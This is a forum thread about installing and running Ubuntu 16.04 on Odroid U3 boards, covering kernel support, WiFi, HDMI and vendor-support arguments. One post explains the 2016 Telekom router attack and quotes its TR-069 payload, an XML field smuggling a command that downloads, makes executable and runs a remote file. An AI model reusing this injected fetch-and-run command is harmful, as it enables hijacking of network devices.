Ubuntu 15.10 / 16.04 for Odroid U3 ?

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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby hugolp » Tue Oct 25, 2016 3:56 pm

meveric wrote:
hugolp wrote:Sadly I don't understand what you did. What image did you install? What options?


When I installed the kernel (not the headers, the kernel image) it gave me the warning in the instructions at the start, but at the end of the installation a similar screen appeared with 4 or 5 options to chose from. The first option was installed, second and selected by default was mast. This is the one I selected since it was the default.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Tue Oct 25, 2016 6:06 pm

sounds like a config file.. there's normally a question asking which ones you want to use, the ones provided by the maintainer, or the changed ones from you and so on.. still I wouldn't know where such a question should pop up, the Kernel doesn't really come with any config files...

Maybe it's the files in /etc/kernel.. which are the same on my packages as well as hardkernel. that could be.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby chapay_today » Sat Oct 29, 2016 12:35 am

Hello, could someone point me to where I could fine an image of Ubuntu 16.04 for U3?

Thank you.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Sat Oct 29, 2016 8:55 am

http://dn.odroid.com/4412/Linux/ubuntu_16.04lts/

or
http://odroid.in/ubuntu_16.04lts/

File name : ubuntu-16.04-mate-odroid-u2u3-20160920.img
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby mlazzarotto » Mon Oct 31, 2016 9:52 pm

DELETE ME
Last edited by mlazzarotto on Tue Nov 01, 2016 6:46 pm, edited 2 times in total.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kemcityboy » Tue Nov 01, 2016 4:14 pm

Hardkernel WiFi dongle is not supported =(
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby hokoon » Mon Nov 14, 2016 1:20 am

kemcityboy wrote:Hardkernel WiFi dongle is not supported =(


+1

Code: Select all
[  138.687497] usb 1-3.3: new high-speed USB device number 5 using s5p-ehci
[  138.794120] usb 1-3.3: New USB device found, idVendor=0bda, idProduct=8176
[  138.794128] usb 1-3.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[  138.794134] usb 1-3.3: Product: 802.11n WLAN Adapter
[  138.794139] usb 1-3.3: Manufacturer: Realtek
[  138.794144] usb 1-3.3: SerialNumber: 00e04c000001
[  140.553921] usbcore: registered new interface driver rtl8192cu
[  141.213315] IPv6: ADDRCONF(NETDEV_UP): enx001d4320059f: link is not ready
[  141.237480] IPv6: ADDRCONF(NETDEV_UP): enx001d4320059f: link is not ready
[  142.552440] rtw_cmd_thread(enx001d4320059f) stop_req:1, break
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby odroid » Mon Nov 14, 2016 11:07 am

We are trying to fix the issue.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby elmoslemur » Sun Dec 18, 2016 10:04 pm

I have successfully installed the 16.04
BUT I have tried unsuccessfully many times to modify the U-Boot to boot from a usb device.
1. I modify the boot.txt to boot to the uuid of the new usb drive
2. i create the new boot.scr
3. make sure its in /media/boot
4. Reboot
It always boots into the same partition even if I make the changes. Is there somewhere else I need to modify ?

Thanks for the help.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Mon Dec 19, 2016 7:28 pm

I just want to jump into the kernel question. When I have seen, that the 16.04 version is based on 3.8, I was shocked. Kernel 3.8. is in my oppinion a security risk. As fare as I know last patch was 3.8.13 on 11. 05. 2013

I think it should be at least Kernel 3.16 - at the moment, this is the kernel with longest support...

https://www.kernel.org/category/releases.html
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Mon Dec 19, 2016 8:32 pm

Last version HardKernel used was 3.8.30 the Kernel. The Kernel was still maintained by Ubuntu and at least went to .44

ARM is not x86 you can't just take any Kernel. Only cause you WANT to take a newer Kernel, doesn't mean you actually CAN.

There are SoC specific alterations on the Kernel which come from the SoC vendor (Samsung), therefor you can't just take ANY Kernel and expect everything works.

The SoC is no longer in production, you can no longer buy an U3 for about 1.5 years by now, don't expect it to be supported till the end of days ;)
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Tue Dec 20, 2016 6:23 pm

ehmmm...just a question on the fly: I was searching for odroid-utility.sh on ubuntu-16.04-mate-odroid-u2u3-20160920.img edition but I couldn't find:( I just needed to modify hdmi resolution due to problems with my recent samsung smart tv. I flashed that image on my u2 but I can't find the script using ssh.....please help.

thanx! all the best,
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby odroid » Tue Dec 20, 2016 6:29 pm

Can you check /media/boot directory via ssh connection?
Or connect the boot media into your PC.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Tue Dec 20, 2016 11:30 pm

Hi,

I'm a bit unlucky with hdmi .....
I moved to debian-wheezy-lxde-odroid-u-20140910.img. there I tried all different alternatives as 1080p edid, noedid, 720p edid, noedid and nothing on the screen :((
My smart tv is a samsung UE40J5200 and I didn't succeed to understand which hdmi version it is running ....
I'd love to keep using my old U2, try to help me please cause the only version I ran well was something like ubuntu 13 which is not supported anymore!

all the best,
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby odroid » Wed Dec 21, 2016 4:45 pm

Make a bridge between HDMI connector frame and USB host connector frame with a conductive wire.
I believe your new display might have a separated shield path. It means your micro-HDMI cable has not standard connection.
viewtopic.php?f=80&t=3323
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Wed Dec 21, 2016 6:34 pm

Mmmmm...Could you suggest me some good cables dealers in europe?? I got no skill for doing this unfortunately :x :x

How can I know if a hdmi cable got 4 shields or not?
Moreover, should it be ARC (audio return channel) or with other new function? Just hdmi 1.4?
But the main problem is that almost no dealer mentions if it has 4 shields....
I would buy from you but delivery would me more than the cable itself....
OH MY GOD! WHAT NOW??

thanx,
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby odroid » Wed Dec 21, 2016 6:41 pm

HDMI1.4 cable should be fine if it is a compliant one.
But many cable manufacturers don't follow the standard and normal end users can't confirm it without a special equipment.

Is there any USB host port in your Samsung smart TV?
If yes, connect the TV to ODROID with a micro-USB cable.
It can be an equivalent of the circuit connection bridge.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Wed Dec 21, 2016 6:48 pm

Yep it has one! I'll try this first :) thanx, all the best
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Wed Dec 21, 2016 7:05 pm

didn't work.... it's a sad world :(
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby pluss » Wed Dec 21, 2016 10:31 pm

A friend of mine gave his hardkernel micro hdmi cable to me (he bought another u2) ! now I got signal but the original boot.scr gave a black screen to me with some brightness blinking....I tried 1080pnoedid.scr and we are close to the solution: I got the standard wheezy screen, a little blurred and still blinking but I got something! How can I obtain something better??

thanx!! all the best
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby Hadmut » Sun Dec 25, 2016 3:38 am

Hi,

thanks for providing 16.04. :-)

However, the kernel seems to be incomplete, important functions seem to be missing. Neither LXD nor snap do work (at least not out of the box) and complain about missing kernel functions.

regards
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Sun Dec 25, 2016 7:48 pm

@ maveric

I dont expect support until the end of days, but when I buy hardware, I expect support at least for 6 years.

I really love the U3 - its a great and quick noiseless little machine - especially now, with the Ubuntu 16.04 image - everything now is working well the first time. And it should be now finished, because I have no more kernel update?

I just compare it with the PI - it is also not x86 and it is now on kernel 4.4. and Pi 1 + 2 you can also no longer buy for years

I think, it is in the responsability of HardKernel to provide this!
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Mon Dec 26, 2016 4:12 am

It was a boring rainy Christmas afternoon , so I had some time to search around....

there seem to be a working 4.8 Kernel for X2/U2/U3 -

https://github.com/tobiasjakobi/linux-o ... -ODROID.md

https://github.com/tobiasjakobi/

http://linux-exynos.org/wiki/Hardkernel_ODROID-X2
Last edited by kultex on Mon Dec 26, 2016 6:36 am, edited 1 time in total.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby rooted » Mon Dec 26, 2016 6:27 am

kultex wrote:@ maveric

I dont expect support until the end of days, but when I buy hardware, I expect support at least for 6 years.

I really love the U3 - its a great and quick noiseless little machine - especially now, with the Ubuntu 16.04 image - everything now is working well the first time. And it should be now finished, because I have no more kernel update?

I just compare it with the PI - it is also not x86 and it is now on kernel 4.4. and Pi 1 + 2 you can also no longer buy for years

I think, it is in the responsability of HardKernel to provide this!


Six years is a ridiculous expectation mate, you expect a $60 device to be supported 3 times longer than $700 Android devices from giant corporations.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Mon Dec 26, 2016 7:01 am

yep - thats the difference between linux and android - like my 13 years old Toshiba portege R100 is still working perfect under linux, but I think, its not the place to discuss stupid product cycles
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby rooted » Mon Dec 26, 2016 7:29 am

It's the perfect place in this instance to discuss since the U3 (which is great) has been EOL for a year and a half.

I wasn't trying to make fun of your request, just stating it's unrealistic to expect it.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Mon Dec 26, 2016 7:30 am

kultex wrote:I dont expect support until the end of days, but when I buy hardware, I expect support at least for 6 years.

rooted wrote:Six years is a ridiculous expectation mate, you expect a $60 device to be supported 3 times longer than $700 Android devices from giant corporations.

I fully agree with @rooted's statement. Only cause YOU "expect" something doesn't mean it needs to come true.

kultex wrote:I really love the U3 - its a great and quick noiseless little machine - especially now, with the Ubuntu 16.04 image - everything now is working well the first time. And it should be now finished, because I have no more kernel update?

It was working fine even before 16.04., and it has been running with the Kernel it has just fine, and it will continue running fine with that Kernel, even in 10 years from now on.
Your ODROID won't stop working, only cause you don't have a recent Kernel.

kultex wrote:I just compare it with the PI

Which is quite stupid, the RPi is a completely different story, they have several hundred more developers than HardKernel.
Also it's a completely different board with quite a bit of different hardware.

kultex wrote:it is also not x86

So only cause it's not x86 means it's the same?
Then I guess the RPi is the same as a Playstation 3? I mean both are not x86, right?

kultex wrote:and Pi 1 + 2 you can also no longer buy for years

Is that so?
Then why is it you can still buy the first RPis directly over Amazon? https://www.amazon.com/Raspberry-Pi-Mod ... B00PEX05TO
All models of RPi are still available. Especially RPi 1, which is still mass produced in the RPi Zero, which has such a high demand that there are waiting lists for it, won't go away for a very long time.
You should really do some research before you claim something like that.

kultex wrote:I think, it is in the responsability of HardKernel to provide this!

And why do you think so, aside from cause "you say so"?
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Mon Dec 26, 2016 7:01 pm

sorry guys, but last answer on this theme! Why should be Hardkernel be responsible for that? Because they want to sell their boards!

I need for an exhibition space a couple of new boards - what are the presuppositions? As small as possible, Emmc, GPIOs, fanless, Linux and of course at least 6 years of Software support and a shop in Europa - I mean everybody in the office would ask me, if I would buy a machine, which they can throw out of the window in 2 years, if I am mad....

I have a Lattepanda for testing at home, but this is unusable, because it has extreme thermal problems. So which board should I take? - What I see at the moment is Odroid C2 and and the up-board - http://up-shop.org/up-boards/19-up-boar ... emory.html

The C2 with case and 16GB EMMC (I don't need more) is about 20 Euros cheaper than the up-board (of course price is in culture an argument) and I have a trusted vendor with an Austrian web-shop - so I thought that I order a C2 for testing - but when you tell me now, that 6 years of software support is far to long, the C2 as possible board is history.... so last comment on this!

So for me the question is - there is a 4.8 Kernel for the X2/U2/U3 and will it be available for the 16.04 image?
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Mon Dec 26, 2016 7:31 pm

kultex wrote:sorry guys, but last answer on this theme! Why should be Hardkernel be responsible for that? Because they want to sell their boards!

First, they don't sell it anymore. For one and a half year they don't sell it anymore.
Maybe it's called a development board for a reason and not a "customer solid state 6+ years support production system".

kultex wrote:I need for an exhibition space a couple of new boards - what are the presuppositions? As small as possible, Emmc, GPIOs, fanless, Linux and of course at least 6 years of Software support and a shop in Europa - I mean everybody in the office would ask me, if I would buy a machine, which they can throw out of the window in 2 years, if I am mad....

just for the record. The U3 is no longer sold for one and a half year already, STILL it got an update to Ubuntu 16.04.... Just so you understand, Ubuntu 16.04. is SOFTWARE.
And once again, only cause you don't have the latest Kernel doesn't mean the device stops working.
Aside from the RPi I know of no board that has as long support as the ODROID boards have, even if the Kernel might not be the newest, you still have the latest SOFTWARE available.
And throwing a device out of the window only cause it doesn't have the latest and greatest Kernel is just stupid. If that would be the case you probably have to throw out half of your kitchen devices and many other devices as well, best you start with your internet router, which is nearly 100% running on a very old and outdated Kernel with no updates for years already!

kultex wrote:The C2 with case and 16GB EMMC (I don't need more) is about 20 Euros cheaper than the up-board (of course price is in culture an argument) and I have a trusted vendor with an Austrian web-shop - so I thought that I order a C2 for testing - but when you tell me now, that 6 years of software support is far to long, the C2 as possible board is history.... so last comment on this!

The ODROID C2 comes with Kernel 3.14, and no it won't go to 3.16 or something like that any time soon. It's the way SoC vendors work (not HardKernel, but SoC VENDORS -> AmLogic in that case).
SOFTWARE will be available even in 10 years from now on.. probably even on the U3, but KERNEL updates, you might not get too many new ones even starting in 2017 already.

kultex wrote:So for me the question is - there is a 4.8 Kernel for the X2/U2/U3 and will it be available for the 16.04 image?

The OS has nothing to do with the Kernel. You can even install the very first Ubuntu 12.04. that shipped with the first X2/U2 boards and have a 4.8 Kernel with it.
But it's unlikely that HardKernel will offer Kernel 4.8 for any OS.
Others might do, but that's another thing.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby hokoon » Tue Dec 27, 2016 10:53 pm

@kultex,

U2/U3 working just fine with old kernel, and It's one of the most stable SBC I ever had. My U2 run 24/7 for almost 4 years and the longest uptime is about 9 months until I reboot it myself.

So instead of throwing your U3 out of the window you can sell it here, there're many buyer such as myself waiting.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby tweak » Thu Dec 29, 2016 12:37 am

odroid wrote:We are trying to fix the issue.


Any new's about that? Got the same Dongle and the same error as above. Would be great if you can fix them so i can continue using my U3.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby hokoon » Thu Dec 29, 2016 9:46 pm

tweak wrote:
odroid wrote:We are trying to fix the issue.


Any new's about that? Got the same Dongle and the same error as above. Would be great if you can fix them so i can continue using my U3.


Take it as a chance to upgrade your WiFi, D-Link DWA-171 working perfectly for me (kernel compilation needed viewtopic.php?f=77&t=14025#p167991 or install dkms from meveric viewtopic.php?p=168790#p168790 )
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Fri Dec 30, 2016 5:20 am

@hokoon

I will not throw my U3 out of the window, but there is a difference, if the board runs at home or if it is in open space, where everybody is able communicate with some ports - sorry there I dont need an ancient kernel....

and I agree with you - generally its very cool, but it had some very specific software errors....

viewtopic.php?f=82&t=14455

the 16.04 image is running now since 10. of december without one crash - and with my family, this means something.....
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby kultex » Tue Jan 03, 2017 2:30 am

@meveric just an actual discussion in Germany on the 33C3 - I dont know, if you ever heard about the "Plasterouter-Massaker" - I think its used only in german language, but this year 900 000 german telecom routers broke down by a TR-069-attac.
And now there is a big discussion of "Mindesthaltbarkeitsdatum für vernetzte Geräte" - minimum durability date for network devices - https://www.heise.de/newsticker/meldung ... 83224.html

And this would mean, that the vendors are responible, not the Soc producers - like netgear or linksys for the router images and hardkernel for kernel updates and of course vendors of android phones also for updates....

and I will test now with Cubieboard 3 (Cubietruck) - A20, 2 GB, 8 GB Nand, WLAN, BT, SATA - there is already a 4.9 kernel - https://www.robert-sperling.de/en/mainl ... ubietruck/

its at the moment the best compromise......
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby meveric » Tue Jan 03, 2017 4:52 am

kultex wrote:@meveric just an actual discussion in Germany on the 33C3 - I dont know, if you ever heard about the "Plasterouter-Massaker" - I think its used only in german language, but this year 900 000 german telecom routers broke down by a TR-069-attac.
And now there is a big discussion of "Mindesthaltbarkeitsdatum für vernetzte Geräte" - minimum durability date for network devices - https://www.heise.de/newsticker/meldung ... 83224.html

And this would mean, that the vendors are responible, not the Soc producers - like netgear or linksys for the router images and hardkernel for kernel updates and of course vendors of android phones also for updates....

and I will test now with Cubieboard 3 (Cubietruck) - A20, 2 GB, 8 GB Nand, WLAN, BT, SATA - there is already a 4.9 kernel - https://www.robert-sperling.de/en/mainl ... ubietruck/

its at the moment the best compromise......

First of all, German or European law does not apply in other countries, which you should be aware of.
In fact many countries don't even care about German law inside of Germany. Most prominent probably the U.S.A. which does give a shit about other people's laws, even within in these countries own borders.

Besides that, I live in Germany and yes I heard about this issue, me and my colleauges discussed it at work.
You're actually mixing a few things up here:
The issue happend with a certain brand of very very cheap router "Plastic-Routes" as the name already said. In fact it was one brand produced by ONE company that had this issue. The same router produced by other companies didn't had this issue. The company in question was actually known for creating bad software, and had similar issues in the past.
The question here should be, why a company like Telekom works together with companies like this.
Besides that, it goes way further. These routers have a maintenance port for the ISP (called TR-069) that allows the ISP to perform firmware updates and other things. This port is normally ONLY used by the ISP. Telekom as a ISP provider totally messed up by facing this port openly to the internet, while it's rather easy for them to keep this port of this device only in their own management network.

So the first to blame is Telekom for totally messing up their security.
Second to blame is the router manifacture that messes up their router software.

And here's the thing... that's totally unrelated to the Kernel.
It's crappy preinstalled software that allowed a user to execute code.
Not the Kernel was the issue, the preinstalled software. The port was open and accepted XML for config changes, and with a simple request to add a new NTP server you could execute code:
Code: Select all
<NewNTPServer1>
`cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`
</NewNTPServer1>

Once again, this is extremly badly coded software and has NOTHING to do with the Kernel!

The issue here is that the company that put the software on the routers totally messed up. A software that allows something like this is broken by design.
And yes, for issues like this, the new law says the vendor is responsible, cause they put crappy software like this on the device.

And now let's come back to HardKernel and ODROID devices.

The software put on ODROIDs are 99.99% NOT from HardKernel, but from Ubuntu, Debian, Arch and so on.
The Kernel is OpenSource, everyone can read or alter the code.
ODROIDs are not tied to the the software, you can change the OS, you can change the Kernel. HardKernel sells HARDWARE not the software.
They are nice enough to put something on their devices for you to start with, they wouldn't need to, cause all info you need to create you own images is publicly available.

The restrictions for this are VERY LIMITED. The libMali.so blob is not OpenSource, and property of ARM; HardKernel is allowed to use it. If there's an issue in that software, the only one to blame is ARM, since the code comes from them!
The boot loader BL1 and BL2. BL1 is once again a blob that comes from a SoC vendor (in this case from Samsung), BL2 can be altered, but must be singed by HardKernel for it to work. The rest for example u-boot, is once again OpenSource and can be exchanged by the user.
This means you are totally free to alter the system yourself, that you don't have the skills to do so is nothing you can blame on the vendor.
This would be the same as blaming a car dealer for not selling a car that let you drive although you have never learned how to drive!

Since Mali GPU drivers are not required to run the board, that makes the BL1 blob the only part of the entire system that can't be changed and for this is the only thing that you don't have control over.
Everything else you have the chance to change or can choose if you use it or not. Hell, no one says you need to put an ODROID on the Internet in the first place!

And that is totally different compared to a divice like a router that you can not touch, where you can not alter the Kernel, or the Software that is installed.
Hell they even discussing if in future you should be allowed to put your own firmware on a router or not. This would mean the end of projects like OpenWRT, since you would no longer be allowed to put a different (probably more trusted) firmware on a router.

And that is what makes all the difference.
Donate to support my work on the ODROID GameStation Turbo Image for U2/U3 XU3/XU4 X2 X C1 as well as many other releases.
Check out the Games and Emulators section to find some of my work or check the files in my repository to find the software i build for ODROIDs.
If you want to add my repository to your image read my HOWTO integrate my repo into your image.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby rooted » Tue Jan 03, 2017 6:24 am

Thumb up ^^^^

It would be nice to have a like button.
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby bomberb17 » Wed Feb 22, 2017 5:08 am

I flashed the image to a SD card but I can't connect to the U3 using ssh.
I used an IP scanner but I can't find the correct IP.
Any thoughts? (I don't have a HDMI cable)
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Re: Ubuntu 15.10 / 16.04 for Odroid U3 ?

Unread postby readyblue » Sat Feb 25, 2017 1:06 am

gnome-mplayer, nor any other players are able to play full HD videos any longer,
even some 720p videos have problems,

I can see the issue is the gnome-mplayer somehow cannot use the full CPU power.
It looks like all 4 CPU cores are used just like you have one core.

Summary utilization of all 4 cores are 100% and does not go above even if gnome-mplayer is of need of more.
Previously on 14.04 Ubuntu, at least all 720p works just fine and even some 1080p videos.
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